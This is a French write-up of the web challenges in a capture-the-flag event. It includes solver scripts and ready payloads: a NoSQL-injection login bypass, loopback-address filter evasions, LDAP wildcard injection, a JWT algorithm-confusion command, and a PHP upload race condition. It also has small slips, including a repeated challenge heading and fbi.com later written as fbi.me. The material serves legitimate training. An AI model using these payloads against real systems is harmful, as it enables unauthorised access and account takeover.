Writeup Web - Édition 2026
Table des matières
Dans cet article, nous présenterons les différentes solutions pour les challenges de la catégorie Web du Jeanne d’Hack CTF 2026.
Intro
Ce challenge propose de jouer au Jeu du Dinosaure de Chrome. Ici, vous devez convaincre le serveur que vous avez gagné la partie, alors que ce jeu ne peut pas être gagné. Le dino court jusqu’à ce qu’il rencontre un obstacle qui arrête le jeu.

Merci à https://github.com/wayou/t-rex-runner pour le code source du jeu.
Comprendre la requête du jeu T-Rex
Lorsque vous perdez au jeu T-Rex, il envoie cette requête au serveur :
POST /result HTTP/1.1
Host: [HOST]
Content-Type: application/json
{"game":"fail"}
Le serveur répond par :
haha you su*k
Nous voulons altérer la requête envoyée pour convaincre le serveur que nous avons gagné la partie.
Étape par étape : Utilisation de Burp Suite
Étape 1 : Activer l’intercepteur
- Ouvrez Burp Suite
- Allez dans l’onglet Proxy → Intercept
- Cliquez sur le bouton “Intercept is on” (il devrait être bleu)

Étape 2 : Déclencher l’événement Game Over
- Naviguez vers la page du challenge dans votre navigateur
- Commencez le jeu en appuyant sur Espace
- Laissez le T-Rex s’écraser (heurter un obstacle)
- Burp interceptera la requête POST vers /result.
Étape 3 : Voir la requête interceptée Vous devriez voir :
POST /result HTTP/1.1
Host: [HOST]
Content-Type: application/json
Content-Length: 15
{"game":"fail"}

Étape 4 : Modifier la requête
- Dans la requête interceptée, modifiez le paramètre
game. - Changez
"fail"en"win", ce que nous pouvions deviner comme étant la valeur attendue.
{"game":"win"}

Étape 5 : Envoyer la requête modifiée
Transférez la requête modifiée et vérifiez l’onglet Response. La réponse devrait contenir le flag !

Une autre façon de faire la même chose est d’envoyer la commande curl suivante :
curl -k -i -X 'POST' -H 'Content-Type: application/json' --data '{"game":"win"}' 'http://[HOST]/result'
Finalement, vous avez récupéré le flag : JDHACK{w3L0me_t0_th3_JungL3}.
Ce challenge d’introduction démontre pourquoi la validation côté client seule est insuffisante. Validez toujours les entrées côté serveur !
Ocarina - 1/3
Ce challenge est inspiré du jeu Zelda Ocarina of Time. C’est un jeu de mémoire qui nécessite de compléter 99 tours de séquences musicales. La complétion manuelle est irréalisable en raison de la complexité croissante des rounds et des contraintes de temps.

L’interface présente un ocarina dont les notes sont mises en évidence lorsqu’une séquence est reçue du serveur. Ensuite, vous devez cliquer sur chaque note en suivant la séquence donnée pour valider le round et passer au suivant.

Analyse du challenge :
Le jeu utilise un WebSocket entre le client et le serveur. À chaque tour, le serveur envoie une séquence de notes musicales (A, B, D, E, F) qui doit être rejouée exactement dans une limite de temps de 10 secondes. La longueur de la séquence augmente d’une note par tour, faisant en sorte que le tour 99 contienne 99 notes avec un délai de 10 secondes.
Détails techniques :
Le endpoint WebSocket est /ws. Le protocole de communication utilise des messages JSON :
- Le serveur envoie :
{"type": "sequence", "data": ["A", "F", "B"], "round": 3} - Le client répond :
{"sequence": ["A", "F", "B"]}
Le serveur valide la réponse et passe au tour suivant ou termine le jeu. Aucun chiffrement ou obfuscation n’est présent dans ce challenge.
Voici un exemple d’échanges entre votre navigateur web et le serveur utilisant des websockets.
- Le premier message est la séquence reçue du serveur.
- Le deuxième est notre séquence que nous envoyons en tant que client/joueur.
- Le troisième est le serveur validant notre dernière séquence.
- Dans le quatrième message, le serveur nous donne la séquence suivante tout en incrémentant l’attribut JSON
round. - Enfin, comme nous n’avons pas répondu dans le temps imparti, le serveur termine le jeu avec un message d’échec.

Solution :
La complétion manuelle devient impossible vers les round 10/15 en raison des limites de la mémoire humaine et du temps. La solution prévue est l’automatisation. Un exemple de solution est fourni dans le script ci-dessous.
Le script se connecte au endpoint WebSocket, reçoit chaque séquence et la renvoie immédiatement au serveur. Cela complète les 99 rounds automatiquement.
Le script ci-dessous effectue ces opérations :
- Se connecte à l’application web sur
ws://[HOST]/ws - Écoute les messages de séquence du serveur
- Répond avec la séquence exacte
- Gère la fin du jeu et la récupération du flag
L’automatisation s’exécute rapidement, complétant tous les tours en quelques secondes et récupérant le flag lors de la réussite du tour 99.
import asyncio, websockets, json
async def play():
uri = "ws://[HOST]/ws"
async with websockets.connect(uri) as websocket:
print("Connected to Ocarina1...")
while True:
try:
msg = json.loads(await websocket.recv())
if msg.get("type") == "sequence":
print(f"Round {msg['round']}: {msg['data']}")
await websocket.send(json.dumps({"sequence": msg["data"]}))
elif msg.get("type") == "flag":
print(f"\nFLAG: {msg['data']['flag']}")
break
elif msg.get("type") in ["gameover", "timeout"]:
print(f"Failed: {msg.get('data', {}).get('message')}")
break
except websockets.exceptions.ConnectionClosed:
break
if __name__ == "__main__":
asyncio.run(play())
Ce challenge démontre l’importance de reconnaître quand l’automatisation peut nous aider. L’indice “Five seconds seems too short for the 99th lullaby, huh ? Well deal with it ;)” indique que la complétion manuelle n’est pas attendue.
Flag : JDHACK{0car1n4_m4st3ry_4ch13v3d_99_r0unds!}
Ocarina - 2/3
Ce challenge est une version améliorée d’ocarina1 qui ajoute le chiffrement AES au protocole de communication. Comme le premier challenge, il nécessite de compléter 99 rounds de séquences musicales, mais maintenant toutes les séquences sont chiffrées.
Note : Veuillez lire le writeup d’ocarina 1 avant celui-ci pour avoir plus de contexte sur le challenge.
Analyse du challenge :
Le jeu utilise le même modèle de communication WebSocket qu’ocarina1, mais avec une différence cruciale : toutes les données de séquence sont chiffrées en utilisant le chiffrement AES-CBC. Les joueurs doivent déchiffrer les séquences entrantes et chiffrer leurs réponses en utilisant la même clé secrète.
Détails techniques :
Le endpoint WebSocket reste à /ws. Le protocole de communication utilise maintenant des messages JSON chiffrés :
- Le serveur envoie :
{"type": "sequence", "seq": "<base64-encoded-encrypted-data>", "round": 3} - Le client doit déchiffrer la séquence, puis chiffrer et répondre :
{"sequence": "<base64-encoded-encrypted-response>"}
Implémentation cryptographique :
Le challenge utilise le chiffrement AES-CBC avec une clé codée en dur exposée dans crypto.js :
AES_KEY = b'MyStr0ngSecretK3yForOcarin42024!'

Le processus de chiffrement :
- Générer un IV aléatoire de 16 octets pour chaque chiffrement
- Chiffrer avec AES-CBC
- Ajouter l’IV au début du texte chiffré
- Encoder le résultat en Base64
Méthode de solution :
La complétion manuelle est impossible en raison des mêmes contraintes de mémoire humaine et de temps qu’ocarina1, plus la complexité supplémentaire de la gestion des données chiffrées. La résolution de ce challenge est possible avec ces étapes :
- Examiner le fichier
crypto.pyfourni révèle la clé AES codée en dur - Utiliser les mêmes fonctions de chiffrement/déchiffrement pour gérer la communication
- Adapter le script d’ocarina1 pour déchiffrer les séquences entrantes et chiffrer les réponses.
Le script suivant permet de résoudre le challenge :
import asyncio, websockets, json, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
AES_KEY = b'MyStr0ngSecretK3yForOcarin42024!'
def aes_handler(data, mode='encrypt'):
if mode == 'encrypt':
iv = get_random_bytes(16)
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(pad(data.encode(), 16))).decode()
raw = base64.b64decode(data)
cipher = AES.new(AES_KEY, AES.MODE_CBC, raw[:16])
return unpad(cipher.decrypt(raw[16:]), 16).decode()
async def play():
uri = "ws://[HOST]/ws"
async with websockets.connect(uri) as websocket:
print("Connected to Ocarina2...")
while True:
try:
msg = json.loads(await websocket.recv())
if msg.get("type") == "sequence":
seq = aes_handler(msg["seq"], 'decrypt')
print(f"Round {msg['round']}: {seq}")
await websocket.send(json.dumps({
"sequence": aes_handler(seq, 'encrypt')
}))
elif msg.get("type") == "flag":
print(f"\nFLAG: {msg['data']['flag']}")
break
elif msg.get("type") in ["gameover", "timeout"]:
print(f"Failed: {msg.get('data', {}).get('message')}")
break
except websockets.exceptions.ConnectionClosed:
break
if __name__ == "__main__":
asyncio.run(play())
La principale faille de sécurité est la clé AES codée en dur exposée dans le code source. Dans un scénario réel, ce type de chiffrement est la plupart du temps inutile et même contre-productif. Comme la clé est disponible dans l’application côté client, un attaquant peut facilement la récupérer. De plus, les développeurs peuvent diminuer leurs exigences de sécurité en pensant que cette couche supplémentaire de chiffrement les protège.
Flag : JDHACK{cryp70_0car1n4_m4st3r_w1th_AES_s3cr3ts!}
Ocarina - 3/3
Ce challenge est le dernier de la série ocarina. Le joueur doit utiliser une astuce pour jouer et automatiser le jeu sans connaître la clé.
Note : Veuillez lire les writeups d’ocarina1 et ocarina2 pour obtenir un contexte supplémentaire sur le challenge actuel.
Analyse du challenge :
Le jeu introduit une nouvelle mécanique. Cette fois, la clé de chiffrement est vraiment secrète, nous ne la connaissons pas. Elle est stockée côté serveur et ne peut pas être récupérée (du moins ce n’est pas la solution prévue). Plutôt que d’essayer de chiffrer les séquences nous-mêmes, les joueurs doivent trouver un moyen de chiffrer les messages et de communiquer avec le serveur sans connaître la clé.
Pour ce faire, on peut remarquer que le jeu nous permet de définir votre nom via le menu ouvert en cliquant sur le bouton d’outil en bas à droite.

Une fois votre nom défini, vous remarquerez qu’une requête est envoyée au endpoint /set-name. En réponse, vous recevrez votre nom en texte clair, mais aussi chiffré. C’est la voie à suivre !

Nous pouvons exploiter la capacité de chiffrer du texte arbitraire pour chiffrer les séquences de notes et valider les tours jusqu’au 99ème et récupérer le flag.
Détails techniques :
Le endpoint WebSocket à /ws accepte directement les connexions. Le protocole de communication implique :
- Le serveur envoie :
{"type": "sequence", "seq": "A,B,D,E,F", "round": 3} - Le client doit chiffrer et répondre :
{"sequence": "<encrypted-response>"}
Si la mauvaise clé est fournie, le serveur répond avec un message d’erreur “mystical lullaby”.
L’idée est que le endpoint /set-name utilise le même système de chiffrement que la validation de séquence du jeu, permettant aux joueurs de chiffrer leurs réponses sans connaître la clé de chiffrement réelle.
Méthode de solution :
Résoudre ce challenge nécessite ces étapes :
- Reconnaître que
/set-namepeut être utilisé à des fins de chiffrement. - Créer un script qui abuse de ce endpoint pour chiffrer les séquences de jeu et compléter les 99 tours.
Le script suivant permet alors de résoudre ce challenge :
import asyncio, websockets, json, urllib.request
WS_URI = "ws://[HOST]/ws"
API_URL = "http://[HOST]/set-name"
def get_oracle_encryption(data):
req = urllib.request.Request(
API_URL,
data=json.dumps({"name": data}).encode(),
headers={'Content-Type': 'application/json'}
)
with urllib.request.urlopen(req) as res:
return json.loads(res.read())["encrypted"]
async def play():
async with websockets.connect(WS_URI) as ws:
print("Connected to Ocarina3...")
while True:
try:
msg = json.loads(await ws.recv())
if msg.get("type") == "sequence":
print(f"Round {msg['round']}: {msg['seq']}")
encrypted = get_oracle_encryption(msg["seq"])
await ws.send(json.dumps({"sequence": encrypted}))
elif msg.get("type") == "flag":
print(f"\nFLAG: {msg['data']['flag']}")
break
elif msg.get("type") in ["gameover", "timeout"]:
print(f"Failed: {msg.get('data', {}).get('message')}")
break
except websockets.exceptions.ConnectionClosed:
break
if __name__ == "__main__":
print("Starting Ocarina3 solution...")
asyncio.run(play())
Le challenge enseigne aux joueurs le concept d’oracle de chiffrement et comment les exploiter pour impacter la sécurité de l’application.
Flag : JDHACK{0car1n4_m4st3r_w1th_tr1ckz!}
No share - 1/3
Le challenge consiste en un navigateur de fichiers web, où nous observons deux “shares” :
public.pacman: accessible normalementsecret.pacman: l’accès est refusé

Le but est d’accéder au share secret où le flag est hébergé.
En examinant le code principal du serveur (server.py), nous remarquons que les requêtes vers secret.pacman sont bloquées au niveau applicatif :
def deny(share):
return 'secret.pacman' in share.lower()
Note : Ce snippet de code a été donné dans la description du challenge, comme indice. Le but n’était pas de deviner une payload, mais de réfléchir à un contournement des validations.
De plus, dans la réponse au endpoint /shares, nous observons que le système utilise des adresses IP pour mapper chaque nom de share :

La vulnérabilité réside dans le fait que la validation est basée uniquement sur le nom du share. Les noms de share sont résolus en leurs adresses IP associées avant d’être interrogés, ils sont utilisés comme des noms de domaine locaux.
Puisque secret.pacman correspond à 127.0.0.1, nous pouvons essayer de contourner la restriction en définissant directement l’IP dans le paramètre share du endpoint /api/folder.
En interceptant les requêtes avec un proxy (Burp Suite, OWASP ZAP, etc.) ou en ajoutant une règle “Match & Replace” automatisée, nous modifions le paramètre share :
/api/folder?path=%2F&share=127.0.0.1

Nous avons cliqué sur “secret.pacman” et remplacé le paramètre share dans la requête sortante vers /api/folder :

En résultat, nous observons que nous avons réussi à contourner la validation sur le nom du share. Pour la suite, chaque fois qu’une requête est envoyée, nous devons remplacer le paramètre share comme précédemment.
Une fois l’accès au share secret obtenu, nous pouvons naviguer dans la structure du répertoire pour accéder au dossier Secrets/, télécharger le fichier flag.txt et le récupérer : JDHACK{n0_sh4r3_4cc3ss_byp4ss3d}.
Finalement, l’une des solutions est de visiter :
http://[HOST]/api/download?path=%2FSecrets%2Fflag.txt&share=127.0.0.1

No share - 2/3
Ceci est une version améliorée du challenge noshare1. En accédant au navigateur de fichiers, nous observons toujours deux shares :
public.pacman: accessible normalementsecret.pacman: l’accès est refusé
Cependant, cette version a essayé d’améliorer les mesures de sécurité. Les administrateurs ont implémenté de nouvelles vérifications.
Le système utilise maintenant la librairie validators pour s’assurer que les noms de share sont des domaines valides et le système bloque “localhost”, les adresses IP contenant ‘1’, et les URLs avec des ports.
def deny(share):
return 'secret.pacman' in share.lower() or 'localhost' in share or '1' in share or ':' in share
Note : Ce snippet de code a été donné dans la description du challenge, comme indice. Le but n’était pas de deviner une payload, mais de réfléchir à un contournement.
De plus, le nom du share doit être un nom de domaine valide :
if not validators.domain(share):
return jsonify({"error": "Invalid share name."}), 400
Bien que la sécurité ait été améliorée, il existe encore des méthodes de contournement potentielles. L’idée est que 127.0.0.1 est bloqué par le filtre ‘1’ et la notation IPV6 ::1 par le filtre de ‘:’, mais d’autres représentations de localhost existent. Par exemple, des domaines valides qui résolvent vers 127.0.0.1 mais ne contiennent pas de chaînes bloquées.
En cherchant de tels domaines sur internet, nous pouvons trouver les suivants :
- fbi.com
- locatest.me
- …
Oui, vous avez bien lu ! Quelqu’un a acheté le domaine fbi.com et l’a fait pointer vers 127.0.0.1.
$ dig fbi.com
;; ANSWER SECTION:
fbi.com. 600 IN A 127.0.0.1
Comme pour noshare1, en interceptant les requêtes avec un proxy (Burp Suite, OWASP ZAP, etc.) ou en ajoutant une règle “Match & Replace” automatisée, modifiez le paramètre share pour utiliser un domaine qui résout vers localhost :
/api/folder?path=%2F&share=fbi.me
Une fois les mesures de sécurité contournées et l’accès au share secret obtenu, naviguez vers le dossier /Secrets/, téléchargez le fichier flag.txt et récupérez le flag : JDHACK{v4l1d4t0rs_c4n_b3_byp4ss3d}.

No share - 2/3
Les administrateurs ont appris des contournements précédents et ont implémenté un filtrage plus large. Contrairement à noshare2, cette version a supprimé l’utilisation de la librairie validators mais la résolution DNS est bloquée cette fois.
def deny(share):
return 'secret.pacman' in share.lower() or 'localhost' in share or '.1' in share or ':' in share
Note : Ce snippet de code a été donné dans la description du challenge, comme indice. Le but n’était pas de deviner une payload, mais de réfléchir à un contournement.
Il fallait penser au fait que les adresses IP ont des représentations alternatives qui ne contiennent pas .1 :
Par exemple l’adresse de loopback : 127.0.0.1 pourrait aussi s’écrire :
- En octal comme
0177.0.0.01. - Comme un seul nombre en base 10 :
2130706433 - En hexadécimal :
0x7f000001
Les mesures de sécurité sont contournées en interceptant les requêtes avec un proxy (Burp Suite, OWASP ZAP, etc.), modifiez le paramètre share pour utiliser une représentation IP alternative :
/api/folder?path=%2F&share=2130706433
Ensuite, nous pouvons naviguer vers le dossier /Secrets/, télécharger le fichier flag.txt et récupérer le flag : JDHACK{d0t_0n3_f1lt3r_byp4ss3d}

Retrobugging
Les source du challenge sont disponible ici.
Personne n’est jamais parvenu à atteindre un million de points…
Serez-vous le premier à accomplir cet exploit légendaire ?
Dans ce challenge Web, sans serveur Web, l’objectif est de retrouver le flag caché dans le jeu “Galactic Invaders”.
Après avoir téléchargé l’archive contenant le code source du challenge, on peut commencer à parcourir l’application Web et jouer en ouvrant le fichier index.html. Quelques parties suffisent pour se rendre compte que la difficulté croît très rapidement et qu’il va être difficile d’obtenir un bon score.
Cependant, en se basant sur la description du challenge et sur la page rules.html affichant le message :
🏆 The Ultimate Challenge
Nobody ever was able to reach a million points...
Will you be the first to achieve this legendary feat?
On peut supposer que l’objectif est d’atteindre un million de points pour obtenir le flag.
Avec l’analyse du code JavaScript, on constate qu’une fonction checkFlag est appelée à chaque tour de boucle du jeu (fonction loop). Son code est le suivant :
function checkFlag() {
// Anti-cheat check
const hidden = atob("YW50aWNoZWF0Q2hlY2s=");
// Score must be incremented by 10 (avoid modifying score from the console)
if (score > 999999 && score == (previousScore + 10)) {
localStorage.setItem(hidden, "1");
// Call the obfuscated flag function through a secure wrapper
secureFlagDisplay(hidden);
// Remove anti-cheat item from localStorage
localStorage.removeItem(hidden);
}
}
Cette fonction permet d’afficher le flag à travers un wrapper secureFlagDisplay (défini dans la partie obfusquée du code), à condition que le score du joueur soit correct. Une protection “anti-cheat” (très) basique est également ajoutée pour que la fonction secureFlagDisplay ne soit pas appelée en dehors de la fonction checkFlag.
Avec ces informations, on sait qu’il suffit de modifier les variables score et previousScore afin que la condition soit validée pour obtenir le flag. Cependant, la fonction n’est pas définie dans le scope JavaScript global et donc, on ne peut pas interagir avec elle :

C’est là qu’intervient un outil très pratique du navigateur : le debugger. En ouvrant la console du navigateur dans l’onglet debugger, on peut placer un point d’arrêt (breakpoint) au niveau de n’importe quelle instruction JavaScript.

En plaçant un breakpoint dans la fonction checkFlag, on récupère le contexte de cette fonction et on peut interagir directement avec les variables locales via la console. Il ne reste plus qu’à modifier les variables score et previousScore :
score = 1000000
previousScore = (score - 10)
En continuant l’exécution du script après les modifications, on récupère bien le flag :

Solve du challenge en vidéo :
Étant donné que le challenge était entièrement côté client, il y avait plusieurs manières de le résoudre : en déobfusquant le code (possible, bien que l’on ait tenté de rendre cela difficile), en modifiant le code JS, en rendant la variable
scoreglobale, etc. L’objectif était surtout ici de faire découvrir le debugger et les problématiques de scope des variables associées.
HTTP Methods Dungeon
Catégorie : Web — Difficulté : Facile
Description
🏰 Bienvenue dans le Donjon des Méthodes HTTP !
Le Gardien Mystique de la Porte Ancienne ne laisse passer que ceux qui maîtrisent l’art des méthodes HTTP. Pour déverrouiller le portail, tu dois exécuter une séquence secrète de méthodes HTTP dans l’ordre exact.
Format du flag :
JDHACK{this_is_a_fl4g}
Solution
Étape 1 — Accéder au challenge
Lancer le challenge en ouvrant l’URL indiquée (ou via le menu web).

Étape 2 — Tester les méthodes HTTP
La page propose des boutons pour envoyer différentes méthodes HTTP (GET, POST, PUT, DELETE, OPTIONS, PATCH, TRACE, HEAD). Chaque clic envoie une requête avec la méthode correspondante.
- Si la méthode est correcte pour l’étape en cours, un message indique la progression et la prochaine méthode attendue.
- Si la méthode est incorrecte, la séquence est réinitialisée.

Étape 3 — Trouver la séquence complète
En testant et en notant les réponses du serveur, on reconstruit la séquence attendue :
- TRACE
- PATCH
- DELETE
- OPTIONS
- TRACE
- PUT
- PUT
Il suffit d’enchaîner ces méthodes dans cet ordre (en envoyant les requêtes avec un outil type Burp / curl / script Python) pour compléter le donjon.
Étape 4 — Récupérer le flag
Une fois la séquence complète exécutée sans erreur, la page affiche le message de victoire et le flag.

Flag : JDHACK{M4S73r_OF_h7Tp_ME7h0D5}
NeoPixel
Catégorie : Web — Difficulté : Facile
Description
NeoPixel est un éditeur de jeux vidéo en ligne.
Après un audit de sécurité et plusieurs corrections, l’équipe est convaincue que tout est désormais sous contrôle.
Format du flag :
JDHACK{this_is_a_flag}
Solution
Étape 1 — Se rendre compte que c’est du NoSQL
En tentant de se connecter avec de faux identifiants, la page renvoie le message d’erreur :
« NoSQL : Nom d’utilisateur ou mot de passe incorrect. »
Le fait que le serveur affiche NoSQL dans sa réponse indique qu’un moteur NoSQL (typiquement MongoDB) est utilisé côté backend pour l’authentification. On en déduit que le login construit une requête avec les champs envoyés (username, password) — ce qui ouvre la piste d’une injection NoSQL.
![]()
Étape 2 — Intercepter la requête et identifier la vulnérabilité
En interceptant la requête de connexion avec Burp Suite (ou les DevTools), on voit que le login envoie un POST /login avec un corps JSON :
POST /login HTTP/1.1
Host: neopixel.web.jeanne-hack-ctf.org
Content-Type: application/json
...
{"username":"test","password":"test"}
Le backend utilise sans doute ces champs directement dans une requête MongoDB du type :
db.users.find_one({"username": username, "password": password})
Les valeurs ne sont pas sanitisées : si on envoie un objet au lieu d’une chaîne pour password (ex. {"$ne": ""}), MongoDB l’interprète comme un opérateur, ce qui permet de contourner la vérification du mot de passe.
Étape 3 — Bypass d’authentification
En envoyant une requête POST JSON avec un opérateur NoSQL pour le mot de passe, on peut se connecter en tant qu’admin sans connaître son mot de passe.
Exemples de payload :
{
"username": "admin",
"password": {"$ne": ""}
}
ou :
{
"username": "admin",
"password": {"$ne": null}
}
La requête MongoDB devient alors : « trouver un utilisateur dont le username est admin et le password est différent de la chaîne vide (ou de null) ». Comme l’admin a un mot de passe défini, le document correspond et la connexion réussit.
![]()
Étape 4 — Accéder au profil admin et au flag
Une fois connecté en tant qu’admin, aller sur la page Profil. Seuls les utilisateurs avec le rôle admin y voient le flag.
![]()
Flag : JDHACK{N0$Q1i_!5_4L5O_fUN_4re0}
World of ShellCraft
Catégorie : Web — Difficulté : Extrême
Description
World of ShellCraft est un challenge web où chaque commande est un sort.
Explore le royaume, teste tes actions et découvre des chemins qui n’auraient jamais dû être empruntés.
Format du flag :
JDHACK{this_is_a_flag}
Solution
Étape 1 — Inscription et repérage de l’upload
Créer un compte et se connecter. Aller sur la page Profil : un formulaire permet d’uploader une image (avatar). Les types acceptés sont indiqués (ex. PNG/JPG uniquement).

Étape 2 — Comprendre le flux côté serveur (boîte grise)
Sans accès au code source, on peut inférer le comportement du serveur en testant des uploads atypiques. Par exemple, en envoyant un fichier dont le nom contient un très grand nombre de caractères dans l’extension (ex. image.aaaaaaaaaa...aaa.php ou une extension délibérément invalide et très longue), on peut observer :

- des messages d’erreur qui indiquent que le fichier a bien été reçu puis rejeté après coup (taille, type MIME, « pas une image valide », etc.) ;
- ou un délai notable avant la réponse d’erreur.
En poussant le test avec une extension très longue (par ex. des centaines de a après le point), le serveur peut renvoyer une erreur PHP qui en dit beaucoup. Exemple typique :
Warning: move_uploaded_file(/var/www/html/avatars/2328982f...57c107.aaaaaaaa...aaaaa):
failed to open stream: File name too long in /var/www/html/profile.php on line 32
Warning: move_uploaded_file(): Unable to move '/tmp/phpXXXXXX' to '/var/www/html/avatars/2328982f...57c107.aaaaaaaa...'
in /var/www/html/profile.php on line 32
Analyse de l’erreur :
- Le fichier est déplacé vers
/var/www/html/avatars/: on connaît le dossier (et donc l’URL côté web, ex..../avatars/). - Le nom de destination est
<64 caractères hexadécimaux>.<extension>: la première partie est un hash (SHA256) du nom du fichier, la seconde est l’extension fournie dans le nom d’origine. Donc en envoyantshell.php, le fichier temporaire serasha256("shell.php") + ".php". - L’appel à
move_uploaded_file()montre que le serveur écrit bien le fichier sous ce nom dansavatars/avant (ou pendant) les vérifications. L’erreur « File name too long » intervient parce que l’extension trop longue dépasse la limite du système de fichiers — mais le schéma de nommage et le flux (écriture puis potentielle suppression) sont confirmés.
On en déduit qu’il existe une fenêtre de temps pendant laquelle le fichier est présent sur le disque avec l’extension demandée. Si on envoie un fichier en .php, il peut être accessible et exécutable pendant ce laps de temps — d’où l’idée d’une condition de course : envoyer beaucoup d’uploads en parallèle et, en parallèle, beaucoup de requêtes GET vers l’URL du fichier (ex. .../avatars/<sha256(shell.php)>.php), pour en attraper une pendant la fenêtre où il existe encore.
Étape 3 — Exploiter la race condition
Grâce à l’étape 2, on connaît le dossier (avatars/), le schéma de nommage (<sha256(nom_du_fichier)>.<extension>) et le fait que le fichier est écrit sous ce nom avant d’être éventuellement supprimé. On peut donc exploiter la race condition de la façon suivante :
-
Préparer un fichier PHP minimal (ex.
<?php 1; ?>) et le nommer par ex.shell.php. -
Calculer
sha256("shell.php")pour obtenir la première partie du nom temporaire (64 caractères hex). L’URL à viser est :
<cible>/avatars/<hash>.php -
Avec Burp Suite : capturer la requête POST d’upload d’avatar (multipart/form-data avec le fichier
shell.php) et l’envoyer une seule fois (un seul upload).
-
En parallèle, préparer une requête GET vers l’URL du fichier temporaire et l’envoyer très nombreuses fois en utilisant « Send group in parallel (last-byte sync) » dans le Repeater de Burp. Ainsi, les requêtes GET partent toutes en même temps que la fin de l’upload, ce qui maximise les chances qu’une d’entre elles atteigne le fichier pendant la fenêtre où il existe encore sur le serveur.
- Une partie des GET renverra une réponse vide ou une erreur (fichier pas encore écrit ou déjà supprimé).
- Au moins une requête GET peut renvoyer le flag si elle est traitée pendant la fenêtre de course.

Étape 4 — Récupération du flag
Sur ce challenge, lorsqu’un script PHP dans le dossier avatars est exécuté, un mécanisme côté serveur renvoie directement le flag (sans exécuter le contenu uploadé). Dès qu’une des requêtes GET atteint le fichier pendant la fenêtre de course, la réponse contient le flag.

Ressource utile : PayloadsAllTheThings – Upload Insecure Files (methodology)
Flag : JDHACK{KACHOW_yOu_4RE_sO_F4St!}
Cybergames store
Catégorie : Web — Difficulté : Difficile
Description
Cybergames store est une boutique de jeux vidéo en ligne avec plusieurs mécanismes d’authentification :
- une connexion classique,
- une connexion via LDAP,
- un système de jetons JWT,
- et plusieurs panneaux d’administration cachés.
Format du flag :
JDHACK{this_is_a_flag}
Solution
Étape 1 — Lire « À propos » et activer la piste LDAP
En visitant la page « À propos », on lit par exemple :
« 🔐 Différents types de connexions sont possibles : Connexion classique (email + mot de passe) / Connexion LDAP (prochainement disponible) ».
Même si le LDAP est indiqué « prochainement disponible », cela suggère qu’une authentification LDAP existe peut‑être déjà côté serveur.

En interceptant ensuite la connexion classique avec Burp, on voit qu’un POST est envoyé vers /login_handler.php avec login_type=classic, puis redirigé vers /login_classic.php. En modifiant ce paramètre en login_type=ldap et en rejouant la requête, la redirection change et nous envoie vers /login_ldap.php : le flux LDAP est bien présent.

Étape 2 — Injection LDAP pour obtenir un compte admin
On s’intéresse maintenant au formulaire de connexion LDAP (login_ldap.php). En interceptant la requête et en testant plusieurs tentatives d’injection (caractères spéciaux dans le nom d’utilisateur, joker *, etc.), on remarque qu’une requête du type :
username=*&password=*&login_type=ldap
provoque un comportement différent : cette fois, le serveur renvoie un JWT dans la réponse (ou dans les cookies) et nous redirige vers profile.php.

On voit que l’utilisateur obtenu est P4l4d1n_1mp3r14l avec un rôle « user ». En poursuivant les injections LDAP, on teste par exemple :
username=admin*&password=*&login_type=ldap
Cette fois, nous obtenons un compte administrateur : adminldaptest.

Sur le profil de cet administrateur, on voit un lien vers une interface de connexion d’administration :

En suivant ce lien (/admin/adafg541/21232f297a57a5a743894a0e4a801fc3login.php), on arrive sur la page de connexion administrateur :

En testant plusieurs couples login/mot de passe, on finit par trouver qu’un simple admin/admin fonctionne et permet de se connecter à l’interface d’administration :

Étape 3 — Confusion d’algorithme JWT (RS256 → HS256)
L’interface admin utilise des JWT signés en RS256 (clé privée côté serveur, clé publique pour la vérification). La vulnérabilité classique consiste à :
- Récupérer la clé publique utilisée pour vérifier les tokens.
- Forger un nouveau JWT avec
alg: HS256au lieu deRS256, en utilisant cette clé publique comme secret pour la signature HMAC. - Mettre dans le payload un rôle
xmladmin(ou un autre rôle privilégié).
On peut voir dans le JWT le chemin de la clé : admin/adafg541/key/public.pem, ce qui permet de récupérer la clé publique public.pem.
Outils possibles : jwt_tool, ou l’extension Burp JWT Editor. Exemple d’attaque avec jwt_tool :
python3 jwt_tool.py -X k -pk public.pem -I -pc role -pv xmladmin <token_original>

En remplaçant ensuite le cookie token par ce nouveau JWT forgé et en rechargeant la page du panneau admin, nous avons désormais accès au panel XML.

Étape 4 — Accès au panneau XML et récupération du flag
Avec le rôle xmladmin, on accède au panneau XML (lien « XML » ou admin_xml_panel.php). Ce panneau permet de soumettre du XML qui est parsé côté serveur. Le flag est présent dans le contenu affiché (ou pourrait être exfiltré via une XXE selon la configuration du parseur).

Flag : JDHACK{J0urn3y_Thr0ugh_JWT_Darkn3ss}